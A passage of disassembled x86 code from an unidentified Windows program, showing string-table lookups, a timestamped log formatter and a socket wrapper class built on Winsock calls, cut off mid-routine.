--------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419A90: ; CODE XREF: ___:00402266j push ebx mov ebx, dword_50FAF8 push esi push edi mov edi, [esp+10h] mov esi, offset dword_506E5C loc_419AA2: ; CODE XREF: ___:00419ABEj cmp byte ptr [esi], 0 jz short loc_419AB2 push edi push esi call ebx ; strstr add esp, 8 test eax, eax jnz short loc_419AC6 loc_419AB2: ; CODE XREF: ___:00419AA5j add esi, 80h cmp esi, offset dword_50AE5C jl short loc_419AA2 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_419AC6: ; CODE XREF: ___:00419AB0j pop edi pop esi mov eax, 1 pop ebx retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419AE0 proc near ; CODE XREF: sub_4010D2j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h lea eax, [esp+10h+var_10] push esi push edi push eax nop call near ptr 2930000h mov edi, dword_50FAFC mov esi, offset dword_50AE5C loc_419AFB: ; CODE XREF: sub_419AE0+3Bj cmp byte ptr [esi], 0 jz short loc_419B0F push 7Fh lea ecx, [esi+80h] push esi push ecx call edi ; strncpy add esp, 0Ch loc_419B0F: ; CODE XREF: sub_419AE0+1Ej sub esi, 80h cmp esi, offset dword_506E5C jge short loc_419AFB mov edx, [esp+18h+arg_0] mov eax, [esp+18h+var_4] mov ecx, [esp+12h] push edx mov edx, [esp+1Ch+var_8] and eax, 0FFFFh and ecx, 0FFFFh push eax mov eax, [esp+20h+var_10] and edx, 0FFFFh push ecx mov ecx, [esp+1Ah] push edx mov edx, [esp+28h+var_10+2] and eax, 0FFFFh and ecx, 0FFFFh push eax and edx, 0FFFFh push ecx push edx push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push 80h push offset dword_506E5C nop call near ptr 77C3FA76h add esp, 28h pop edi pop esi add esp, 10h retn sub_419AE0 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419BB0: ; CODE XREF: ___:004012DAj sub esp, 600h mov ecx, 80h xor eax, eax push ebx push ebp push esi push edi lea edi, [esp+10h] mov esi, [esp+614h] rep stosd mov ecx, 80h lea edi, [esp+210h] mov ebp, dword_50FAFC push 1FFh rep stosd mov ecx, 80h lea edi, [esp+414h] rep stosd lea eax, [esp+14h] push esi push eax call ebp ; strncpy mov edx, [esp+628h] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx cmp ecx, 180h jbe short loc_419C21 mov [edx+180h], al loc_419C21: ; CODE XREF: ___:00419C19j mov ebx, [esp+618h] lea ecx, [esp+10h] push ebx push ecx nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_419D32 loc_419C3F: ; CODE XREF: ___:00419D25j lea edx, [esp+10h] push ebx push edx nop call near ptr 77C47C60h mov esi, eax mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 1FFh add ecx, esi lea eax, [esp+41Ch] push ecx push eax call ebp ; strncpy lea ecx, [esp+24h] push 1FFh lea edx, [esp+228h] push ecx push edx mov byte ptr [esi], 0 call ebp ; strncpy lea edx, [esi+1] add esp, 20h test edx, edx jz short loc_419D00 lea eax, [ebx-1] test eax, eax jz short loc_419D00 lea edi, [ebx-1] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, edx mov esi, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, esi jbe short loc_419CDD mov edx, [esp+61Ch] lea ecx, [esp+410h] push ecx lea eax, [esp+214h] push edx push eax lea ecx, [esp+1Ch] push offset aSSS ; "%s%s%s" push ecx nop call sub_5EA1BD add esp, 14h jmp short loc_419D00 ; --------------------------------------------------------------------------- loc_419CDD: ; CODE XREF: ___:00419CAEj mov edx, [esp+61Ch] lea eax, [esp+210h] push edx push eax lea ecx, [esp+18h] push offset aSS_3 ; "%s%s" push ecx nop call sub_5EA1BD add esp, 10h loc_419D00: ; CODE XREF: ___:00419C8Aj ; ___:00419C91j ... mov edx, [esp+61Ch] mov esi, dword_50FAF8 push edx push ebx call esi ; strstr add esp, 8 test eax, eax jnz short loc_419D2B lea eax, [esp+10h] push ebx push eax call esi ; strstr add esp, 8 test eax, eax jnz loc_419C3F loc_419D2B: ; CODE XREF: ___:00419D16j mov esi, [esp+614h] loc_419D32: ; CODE XREF: ___:00419C39j lea edi, [esp+10h] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx lea ecx, [esp+14h] push ecx push esi call ebp ; strncpy add esp, 0Ch mov eax, esi pop edi pop esi pop ebp pop ebx add esp, 600h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_419DD0: ; CODE XREF: ___:004018CFj sub esp, 10h push esi push 0 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_419DEE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419DEE: ; CODE XREF: ___:00419DE5j mov ecx, [esp+18h] xor eax, eax mov [esp+4], eax push ecx mov [esp+0Ch], eax mov word ptr [esp+8], 2 mov [esp+10h], eax mov [esp+14h], eax nop call near ptr 71AB2B66h lea edx, [esp+4] push 10h push edx push esi mov [esp+12h], ax mov dword ptr [esp+14h], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_419E39 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419E39: ; CODE XREF: ___:00419E2Fj push 7FFFFFFFh push esi nop call near ptr 71AB88D3h test eax, eax jz short loc_419E51 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419E51: ; CODE XREF: ___:00419E47j mov eax, esi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419E90: ; CODE XREF: ___:00401E65j push edi xor edi, edi mov eax, offset byte_4DE2D5 loc_419E98: ; CODE XREF: ___:00419EA8j cmp dword ptr [eax], 0 jz short loc_419EAA add eax, 316h inc edi cmp eax, offset byte_4E5E45 jle short loc_419E98 loc_419EAA: ; CODE XREF: ___:00419E9Bj cmp edi, 13h jle short loc_419EB4 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419EB4: ; CODE XREF: ___:00419EADj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_50FBF0 push esi lea eax, [eax+eax*4] lea esi, ds:4DE1DBh[eax*2] mov eax, [esp+10h] push eax push esi call ebx ; sub_5EA1BD mov ecx, [esp+24h] mov edx, [esp+1Ch] mov eax, [esp+20h] mov [esi+0FAh], ecx mov ecx, [esp+28h] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5EA1BD add esp, 8 mov eax, edi pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419F50 proc near ; CODE XREF: sub_4013E8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push edi xor edi, edi mov eax, offset dword_4D6765 loc_419F58: ; CODE XREF: sub_419F50+18j cmp dword ptr [eax], 0 jz short loc_419F6A add eax, 316h inc edi cmp eax, offset byte_4DE2D5 jle short loc_419F58 loc_419F6A: ; CODE XREF: sub_419F50+Bj cmp edi, 13h jle short loc_419F74 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419F74: ; CODE XREF: sub_419F50+1Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, off_50FBF0 push esi lea eax, [eax+eax*4] lea esi, ds:4D666Bh[eax*2] mov eax, [esp+0Ch+arg_0] push eax push esi call ebx ; sub_5EA1BD mov ecx, [esp+14h+arg_C] mov edx, [esp+14h+arg_4] mov eax, [esp+14h+arg_8] mov [esi+0FAh], ecx mov ecx, [esp+14h+arg_10] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx ; sub_5EA1BD add esp, 8 mov eax, edi pop esi pop ebx pop edi retn sub_419F50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A010 proc near ; CODE XREF: sub_401C35j var_190 = byte ptr -190h arg_0 = byte ptr 4 sub esp, 190h push ebp mov ebp, ecx push esi push edi mov dword ptr [ebp+0], offset off_43E0BC mov eax, dword_50BB28 test eax, eax jnz short loc_41A048 mov eax, dword_50BB28 inc eax mov dword_50BB28, eax lea ecx, [esp+19Ch+var_190] push ecx push 202h nop call near ptr 71AB664Dh jmp short loc_41A055 ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_41A010+19j mov edx, dword_50BB28 inc edx mov dword_50BB28, edx loc_41A055: ; CODE XREF: sub_41A010+36j mov al, [esp+19Ch+arg_0] or ecx, 0FFFFFFFFh mov [ebp+80Ah], al mov edi, offset byte_446F60 xor eax, eax mov [ebp+806h], ecx mov byte ptr [ebp+80Ch], 0 mov word ptr [ebp+4], 0 repne scasb not ecx sub edi, ecx lea edx, [ebp+6] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebp and ecx, 3 rep movsb pop edi mov byte ptr [ebp+80Bh], 0 pop esi pop ebp add esp, 190h retn 4 sub_41A010 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A0E0 proc near ; CODE XREF: ___:004018D4j sub_401AF5j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401FC8 test [esp+4+arg_0], 1 jz short loc_41A0F8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41A0F8: ; CODE XREF: sub_41A0E0+Dj mov eax, esi pop esi retn 4 sub_41A0E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A110 proc near ; CODE XREF: sub_401FC8j mov al, [ecx+80Ah] mov dword ptr [ecx], offset off_43E0BC test al, al jnz short loc_41A125 call sub_4014DD loc_41A125: ; CODE XREF: sub_41A110+Ej mov eax, 1 mov ecx, dword_50BB28 cmp ecx, eax jle short loc_41A140 mov eax, dword_50BB28 dec eax mov dword_50BB28, eax locret_41A13F: ; CODE XREF: sub_41A110:loc_41A140j retn ; --------------------------------------------------------------------------- loc_41A140: ; CODE XREF: sub_41A110+22j jnz short locret_41A13F mov ecx, dword_50BB28 dec ecx mov dword_50BB28, ecx nop jmp near ptr 71AB4428h sub_41A110 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41A180: ; CODE XREF: ___:004015A0j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43ACCB push eax mov large fs:0, esp sub esp, 814h push esi mov esi, ecx call sub_40195B test al, al jz loc_41A231 mov al, [esi+80Bh] test al, al jz short loc_41A1B9 mov al, 1 jmp short loc_41A231 ; --------------------------------------------------------------------------- loc_41A1B9: ; CODE XREF: ___:0041A1B3j push ebx push edi mov edi, [esp+830h] push 800h lea eax, [esi+6] push edi push eax call near ptr 77C47A90h nop mov ebx, [esp+840h] add esp, 0Ch lea ecx, [esp+0Ch] mov [esi+4], bx call sub_401186 mov ecx, [esp+83Ch] mov edx, [esp+838h] push ecx push edx push ebx push edi lea ecx, [esp+1Ch] mov dword ptr [esp+838h], 0 call sub_401636 push eax mov ecx, esi call sub_4020C7 lea ecx, [esp+0Ch] mov bl, al mov dword ptr [esp+828h], 0FFFFFFFFh call sub_40186B mov al, bl pop edi pop ebx loc_41A231: ; CODE XREF: ___:0041A1A5j ; ___:0041A1B7j mov ecx, [esp+818h] pop esi mov large fs:0, ecx add esp, 820h retn 10h ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A290 proc near ; CODE XREF: sub_40195Bj mov al, byte_443DC0 retn sub_41A290 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A2B0 proc near ; CODE XREF: sub_4020C7j var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h sub esp, 11Ch push ebp push esi push edi mov esi, ecx call sub_40195B test al, al jnz short loc_41A2D0 pop edi pop esi pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A2D0: ; CODE XREF: sub_41A2B0+12j mov al, [esi+80Bh] test al, al jnz loc_41A471 push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A30A mov ecx, esi call sub_4014DD pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A30A: ; CODE XREF: sub_41A2B0+43j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A319 push 1 jmp short loc_41A31B ; --------------------------------------------------------------------------- loc_41A319: ; CODE XREF: sub_41A2B0+63j push 0 loc_41A31B: ; CODE XREF: sub_41A2B0+67j mov ecx, esi call sub_4018BB mov edi, [esp+128h+arg_4] xor eax, eax mov [esp+128h+var_114], eax push edi mov [esp+12Ch+var_110], eax mov [esi+4], di mov [esp+12Ch+var_10C], eax mov word ptr [esp+12Ch+var_114], 2 mov [esp+12Ch+var_108], eax nop call near ptr 71AB2B66h mov ecx, [esp+128h+arg_0] mov word ptr [esp+128h+var_114+2], ax mov eax, [esi+806h] lea edx, [esp+128h+var_114] push 10h push edx push eax mov [esp+134h+var_110], ecx mov [esi+4], di call near ptr 71AB406Ah nop mov ebp, dword_50FC44 test eax, eax jge short loc_41A3BC call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A3AD call ebp ; WSAGetLastError cmp eax, 0Bh jz short loc_41A3AD call ebp ; WSAGetLastError cmp eax, 2733h jz short loc_41A3AD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A3AD: ; CODE XREF: sub_41A2B0+D6j ; sub_41A2B0+DDj ... mov al, byte ptr [esp+128h+arg_8] test al, al jnz loc_41A46A loc_41A3BC: ; CODE XREF: sub_41A2B0+CDj mov eax, [esi+806h] xor ecx, ecx lea edx, [esp+128h+var_11C] mov edi, dword_50FC80 mov [esp+128h+var_11C], ecx push edx mov [esp+12Ch+var_118], ecx push ecx lea ecx, [esp+130h+var_104] mov [esp+130h+var_100], eax push ecx inc eax push 0 push eax mov [esp+13Ch+var_11C], 0Ah mov [esp+13Ch+var_104], 1 call edi ; select test eax, eax jge short loc_41A430 loc_41A3FB: ; CODE XREF: sub_41A2B0+17Ej call ebp ; WSAGetLastError call ebp ; WSAGetLastError cmp eax, 4 jnz short loc_41A445 mov eax, [esp+128h+var_11C] test eax, eax jnz short loc_41A414 mov eax, [esp+128h+var_118] test eax, eax jz short loc_41A445 loc_41A414: ; CODE XREF: sub_41A2B0+15Aj mov ecx, [esi+806h] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax inc ecx push 0 push ecx call edi ; select test eax, eax jl short loc_41A3FB loc_41A430: ; CODE XREF: sub_41A2B0+149j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A461 mov edx, [esp+128h+arg_8] push edx jmp short loc_41A463 ; --------------------------------------------------------------------------- loc_41A445: ; CODE XREF: sub_41A2B0+152j ; sub_41A2B0+162j mov ecx, esi call sub_4014DD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A461: ; CODE XREF: sub_41A2B0+189j push 0 loc_41A463: ; CODE XREF: sub_41A2B0+193j mov ecx, esi call sub_4018BB loc_41A46A: ; CODE XREF: sub_41A2B0+106j mov byte ptr [esi+80Bh], 1 loc_41A471: ; CODE XREF: sub_41A2B0+28j pop edi pop esi mov al, 1 pop ebp add esp, 11Ch retn 10h sub_41A2B0 endp ; --------------------------------------------------------------------------- db 90h db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A500 proc near ; CODE XREF: sub_4014DDj push esi mov esi, ecx mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jz short loc_41A51A cmp eax, 0FFFFFFFFh jz short loc_41A51A push eax nop call near ptr 71AB9639h loc_41A51A: ; CODE XREF: sub_41A500+Cj ; sub_41A500+11j mov ecx, esi call sub_401375 mov byte ptr [esi+80Bh], 0 pop esi retn sub_41A500 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A540 proc near ; CODE XREF: sub_401375j push ebp mov edx, ecx push esi push edi or ecx, 0FFFFFFFFh mov edi, offset byte_446F60 xor eax, eax mov [edx+806h], ecx mov word ptr [edx+4], 0 lea ebp, [edx+6] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi mov byte ptr [edx+80Bh], 0 mov byte ptr [edx+80Ch], 0 pop ebp retn sub_41A540 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A5B0 proc near ; CODE XREF: sub_401488j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41A5C6 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A5C6: ; CODE XREF: sub_41A5B0+Dj mov al, [esi+80Bh] test al, al jnz loc_41A67F push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A5FB mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A5FB: ; CODE XREF: sub_41A5B0+39j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call near ptr 71AB2B66h nop mov word ptr [esp+14h+var_10+2], ax mov eax, [esi+806h] lea edx, [esp+14h+var_10] push 10h push edx push eax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41A654 mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A654: ; CODE XREF: sub_41A5B0+92j mov ecx, [esi+806h] push 32h push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41A678 mov ecx, esi call sub_4014DD xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A678: ; CODE XREF: sub_41A5B0+B6j mov byte ptr [esi+80Bh], 1 loc_41A67F: ; CODE XREF: sub_41A5B0+1Ej mov al, 1 pop esi add esp, 10h retn 4 sub_41A5B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A6D0 proc near ; CODE XREF: sub_401B81j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 120h push esi push edi mov esi, ecx call sub_40195B test al, al jnz short loc_41A6EE pop edi pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A6EE: ; CODE XREF: sub_41A6D0+11j mov al, [esi+80Bh] test al, al jnz short loc_41A705 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A705: ; CODE XREF: sub_41A6D0+26j mov al, [esi+80Ch] test al, al jnz short loc_41A781 call sub_40195B test al, al jz short loc_41A774 mov edi, dword_50FC80 loc_41A71E: ; CODE XREF: sub_41A6D0+A2j mov eax, [esi+806h] lea ecx, [esp+128h+var_11C] push ecx mov [esp+12Ch+var_100], eax push 0 lea edx, [esp+130h+var_104] push 0 inc eax push edx push eax mov [esp+13Ch+var_104], 1 mov [esp+13Ch+var_11C], 0 mov [esp+13Ch+var_118], 64h call edi ; select test eax, eax jz short loc_41A76B mov ecx, [esi+806h] lea eax, [esp+128h+var_104] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A781 loc_41A76B: ; CODE XREF: sub_41A6D0+84j call sub_40195B test al, al jnz short loc_41A71E loc_41A774: ; CODE XREF: sub_41A6D0+46j pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A781: ; CODE XREF: sub_41A6D0+3Dj ; sub_41A6D0+99j mov eax, [esp+128h+arg_4] mov [esp+128h+var_120], 0FFFFFFFFh test eax, eax jz short loc_41A7A4 lea edx, [esp+128h+var_11C] mov [esp+128h+var_11C], 10h push edx push eax jmp short loc_41A7B6 ; --------------------------------------------------------------------------- loc_41A7A4: ; CODE XREF: sub_41A6D0+C2j lea ecx, [esp+128h+var_11C] lea edx, [esp+128h+var_114] push ecx mov [esp+12Ch+var_11C], 10h push edx loc_41A7B6: ; CODE XREF: sub_41A6D0+D2j mov eax, [esi+806h] push eax nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh mov [esp+128h+var_120], eax jnz short loc_41A7D9 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A7D9: ; CODE XREF: sub_41A6D0+FAj mov esi, [esp+128h+arg_0] lea ecx, [esp+128h+var_120] push ecx mov ecx, esi call sub_4020EA mov dl, [esp+128h+arg_8] pop edi mov [esi+80Dh], dl mov al, 1 pop esi add esp, 120h retn 0Ch sub_41A6D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A860 proc near ; CODE XREF: sub_4020EAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax] mov [ecx+806h], edx mov edx, [eax] cmp edx, 0FFFFFFFFh setnz al mov [ecx+80Bh], al retn 4 sub_41A860 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A890 proc near ; CODE XREF: sub_401960j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 0 push edx push eax call sub_401B3B retn 0Ch sub_41A890 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A8C0 proc near ; CODE XREF: sub_401B3Bj var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push ebx push ebp push esi mov esi, ecx push edi cmp dword ptr [esi+806h], 0FFFFFFFFh jz loc_41AA24 mov al, [esi+80Bh] test al, al jz loc_41AA24 mov edi, dword_50F8A4 call edi mov ebp, eax mov al, [esi+80Dh] test al, al jnz loc_41A9BC mov ebx, [esp+220h+arg_8] test ebx, ebx jz loc_41A9BC call sub_40195B test al, al jz loc_41A9BC loc_41A91B: ; CODE XREF: sub_41A8C0+F6j mov eax, [esi+806h] mov ecx, 1 mov [esp+220h+var_100], eax mov [esp+220h+var_104], ecx mov [esp+220h+var_204], eax mov [esp+220h+var_208], ecx mov [esp+220h+var_210], 0 mov [esp+220h+var_20C], 64h call edi sub eax, ebp cmp eax, ebx ja loc_41AA24 lea eax, [esp+220h+var_210] lea ecx, [esp+220h+var_208] push eax mov eax, [esi+806h] push ecx lea edx, [esp+228h+var_104] push 0 inc eax push edx push eax nop call near ptr 71AB2DC0h test eax, eax jz short loc_41A9AF mov edx, [esi+806h] lea ecx, [esp+220h+var_208] push ecx push edx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz loc_41AA24 mov ecx, [esi+806h] lea eax, [esp+220h+var_104] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A9BC loc_41A9AF: ; CODE XREF: sub_41A8C0+BCj call sub_40195B test al, al jnz loc_41A91B loc_41A9BC: ; CODE XREF: sub_41A8C0+39j ; sub_41A8C0+48j ... call sub_40195B test al, al jz short loc_41AA24 mov edx, [esp+220h+arg_4] mov eax, [esp+220h+arg_0] mov ecx, [esi+806h] push 0 push edx push eax push ecx nop call near ptr 71AB615Ah mov ecx, [esp+220h+arg_C] test ecx, ecx jz short loc_41A9F1 mov [ecx], eax loc_41A9F1: ; CODE XREF: sub_41A8C0+12Dj cmp eax, 0FFFFFFFFh jz short loc_41AA09 test eax, eax jz short loc_41AA09 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AA09: ; CODE XREF: sub_41A8C0+134j ; sub_41A8C0+138j nop call near ptr 71AB94DCh pop edi cmp eax, 2733h pop esi pop ebp setz al pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AA24: ; CODE XREF: sub_41A8C0+13j ; sub_41A8C0+21j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 210h retn 10h sub_41A8C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AAA0: ; CODE XREF: ___:00401618j mov eax, [ecx+806h] cmp eax, 0FFFFFFFFh jz short loc_41AAF1 mov dl, [ecx+80Bh] test dl, dl jz short loc_41AAF1 mov ecx, [esp+8] mov edx, [esp+4] push 0 push ecx push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0Ch] test ecx, ecx jz short loc_41AAD2 mov [ecx], eax loc_41AAD2: ; CODE XREF: ___:0041AACEj cmp eax, 0FFFFFFFFh jz short loc_41AAE0 test eax, eax jz short loc_41AAE0 mov al, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_41AAE0: ; CODE XREF: ___:0041AAD5j ; ___:0041AAD9j nop call near ptr 71AB94DCh cmp eax, 2733h setz al retn 0Ch ; --------------------------------------------------------------------------- loc_41AAF1: ; CODE XREF: ___:0041AAA9j ; ___:0041AAB3j xor al, al retn 0Ch ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AB20: ; CODE XREF: ___:004019B0j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40195B test al, al jnz short loc_41AB3C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AB3C: ; CODE XREF: ___:0041AB32j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AB52 loc_41AB48: ; CODE XREF: ___:0041AB8Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AB52: ; CODE XREF: ___:0041AB46j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41ABB6 mov edi, ebp loc_41AB6B: ; CODE XREF: ___:0041ABB4j cmp edi, ebx jz short loc_41ABB6 cmp [esp+18h], bl jz short loc_41ABB6 call sub_40195B test al, al jz short loc_41ABB6 mov ecx, [esp+10h] push ebx push 1 push edi call sub_401960 test al, al jz short loc_41AB48 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41ABA1 cmp al, 0Dh jz short loc_41ABA1 cmp al, bl jnz short loc_41ABA9 loc_41ABA1: ; CODE XREF: ___:0041AB97j ; ___:0041AB9Bj mov [esi+ebp-1], bl mov [esp+18h], bl loc_41ABA9: ; CODE XREF: ___:0041AB9Fj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AB6B loc_41ABB6: ; CODE XREF: ___:0041AB67j ; ___:0041AB6Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AC00: ; CODE XREF: ___:00402180j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40195B test al, al jnz short loc_41AC1C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC1C: ; CODE XREF: ___:0041AC12j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AC32 loc_41AC28: ; CODE XREF: 